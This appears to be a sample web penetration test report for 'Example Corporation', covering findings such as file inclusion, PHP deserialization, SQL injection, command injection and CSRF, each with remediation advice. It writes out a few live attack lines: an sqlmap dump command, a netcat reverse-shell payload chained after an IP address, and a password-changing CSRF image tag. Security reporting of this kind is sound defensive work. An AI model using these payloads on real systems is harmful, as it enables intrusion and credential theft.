Web Penetration Test Report

Nov 18, 2024

Executive Summary

From October 21st to November 18th, 2024, SS Pentesting conducted a penetration test for Example Corporation’s Web Application to assess its web security. The assessment identified multiple high-risk vulnerabilities, including Local File Inclusion, Insecure PHP deserialization, and SQL Injection, all of which could allow attackers to gain unauthorized access and/or execute remote commands. Various other web-based attacks were performed to assess security weaknesses, and this report provides a summary of key findings, their impact, and remediation strategies. For further details, refer to the Technical Findings section.

Confidentiality Statement

This document is the exclusive property of Example Corporation. This document contains proprietary and confidential information. Duplication, redistribution, or use, in whole or in part, in any form requires consent of Example Corporation or SS Pentesting. Example Corporation may share this document with auditors under non-disclosure agreements to demonstrate penetration test requirement compliance.

Disclaimer

A penetration test is considered a snapshot in time. The findings and recommendations reflect the information gathered during the assessment and not any changes or modifications made outside of that period. Time-limited engagements do not allow for a full evaluation of all security controls. SS Pentesting prioritized the assessment to identify the weakest security controls an attacker would exploit. SS Pentesting recommends conducting similar assessments on an annual basis by internal or third-party assessors to ensure the continued success of the controls.

Contact Information

Assessment Overview

The penetration test process included the following phases:

• Planning – Customer goals are gathered, and rules of engagement obtained.
• Discovery – Perform scanning and enumeration to identify potential vulnerabilities, weak areas, and exploits.
• Attack – Confirm potential vulnerabilities through exploitation and perform additional discovery upon new access.
• Reporting – Document all found vulnerabilities and exploits, failed attempts, and company strengths and weaknesses.

Finding Severity Ratings

The following table defines severity levels and their corresponding CVSS score ranges, which are used throughout this document. These severity levels help assess risk by evaluating the likelihood and impact of each vulnerability.

Risk Factors

Risk is measured by two factors, Likelihood and Impact.

Likelihood: Likelihood measures the potential of a vulnerability being exploited. Ratings are given based on the difficulty of the attack, the available tools, attacker skill level, and client environment.

Impact: Impact measures the potential vulnerability’s effect on operations, including confidentiality, integrity, and availability of client systems and/or data, reputational harm, and financial loss.

Scope

Scope Exclusions Per client request, SS Pentesting did not perform any of the following attacks during testing:

• Denial of Service (DoS)
• Phishing/Social Engineering

All other attacks not specified above were permitted by Example Corporation.

Client Allowances

Example Corporation provided SS Pentesting the following allowances: Specific testing of the WebDAV application.

Key Strength and Weakness

The following identifies a key strength found during this assessment:

1. Patching was up to date for all machines.

The following identifies a key weakness found during this assessment:

1. Improper handling of user-supplied input data.

Vulnerability Summary & Report Card

The following table categorizes the vulnerabilities found by severity. Remediation recommendations are also provided.

Web Application Penetration Test Findings

Finding INT-001: Local File Inclusion Critical

Figure 1.1: The URL shows a parameter that specifies a file. This indicates that we can escape this URL to access files on the operating system.

Figure 1.2: Shows that we can change directories all the way back to the root file system and then access the /etc/passwd file.

Remediation: Implement input validation/sanitization to ensure that user input is what the application would expect.

Reference: How To Defend against a File Inclusion Attack

Finding INT-002: Insecure PHP Deserialization Critical

Figure 2.1: Shows a POST request from the web application which shows a CSRF token. When decoding the token, we know that the PHP programming language is being used via the letter : number format.

Figure 2.2: Using PHP generic gadget chains, we can craft a payload to replace the CSRF token to obtain remote code execution.

Figure 2.3: Pasting the output from figure 2.2 in replace of the CSRF token.

Figure 2.4: Running this request in figure 2.3, we can obtain remote code execution.

Remediation: Never deserialize untrusted data.

Reference: Insecure deserialization | Web Security Academy

Finding INT-003: SQL Injection High

Figure 3.1 & 3.2: Entering a single quote into the input field results in an SQL-related error, suggesting a potential SQL vulnerability.

Figure 3.3: Shows the single quote response in Burp Suite. We can copy this request to a file (sql.req) to be exploited.

Figure 3.4: Shows retrieved database data which includes usernames and passwords from the command below.

sqlmap -r sql.req --level=5 --risk=3 --batch --proxy="http://127.0.0.1:8080" --dump 

Remediation: Used parameterized queries which separate SQL code from user input.

Reference: What is SQL Injection? | Web Security Academy

Finding INT-004: Credentials Logged in the URL High

Figure 4.1: Username and password are logged in the URL

Remediation: Avoid using GET requests to transmit credentials or other sensitive data, as they may be logged in browser history and server logs. Instead, use POST requests.

Reference: HTTP Methods - GET vs. POST

Finding INT-005: Command Injection Medium

Figure 5.1: By entering an ip address in the input field, we can see that the output is from the ping command in kali linux.

Figure 5.2: By adding a semi-colon at the end of an IP address, we discover that we can chain commands together.

Figure 5.3: We see that we can obtain remote code execution by chaining a reverse shell command after the ip address.

10.0.2.12; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 443 >/tmp/f 

Remediation: Implement input validation/sanitization to ensure that user input is what the application would expect.

Reference: 4 essentials to prevent OS command injection attacks | Red Hat Developer

Finding INT-006: Cross Site Request Forgery Medium

Figure 6.1: Shows a GET request when attempting to change a password on the web application.

Figure 6.2: By creating a malicious link using a similar GET request from figure 6.1, we can forge a new password, “hacker,” on behalf of anyone who clicks on the link so long as they are already authenticated.

<imgsrc="http://10.0.17.235/vulnerabilities/csrf/?password_new=hacker&password_conf=hacker&Change=Change" /img>

Remediation: Enable CSRF tokens on any state-changing requests i.e. changing passwords.

Reference: Cross Site Request Forgery (CSRF) | OWASP Foundation

Finding INT-007: No Account Lockout Policy (Informational)

Figure 7.1: By brute-forcing a bunch of passwords against the username “admin” we find a matched password.

Figure 7.2: Shows reproduction step using Burp Suite.

Remediation: Enforce a strict password policy that includes a minimum of 12 characters as well as uppercase letters, lowercase letters, special characters, and numbers.

Reference: Account lockout policy best practices

Conclusion

A recurring theme during testing was improper input validation and sanitization, which can allow an attacker to exfiltrate sensitive data, bypass authentication and obtain remote code execution. We recommend that Example Corporation ensures all inputs meet strict criteria and remove or escape special characters that could be used maliciously.

On a positive note, Example Corporation’s patching was up-to-date and there were no major CVEs that could be exploited. The team was detected several times, and while not all attacks were discovered during testing, these alerts are a good start.

We recommend that the Example Corporation team thoroughly review the recommendations made in this report, correct the findings, and re-test annually to improve their overall security posture.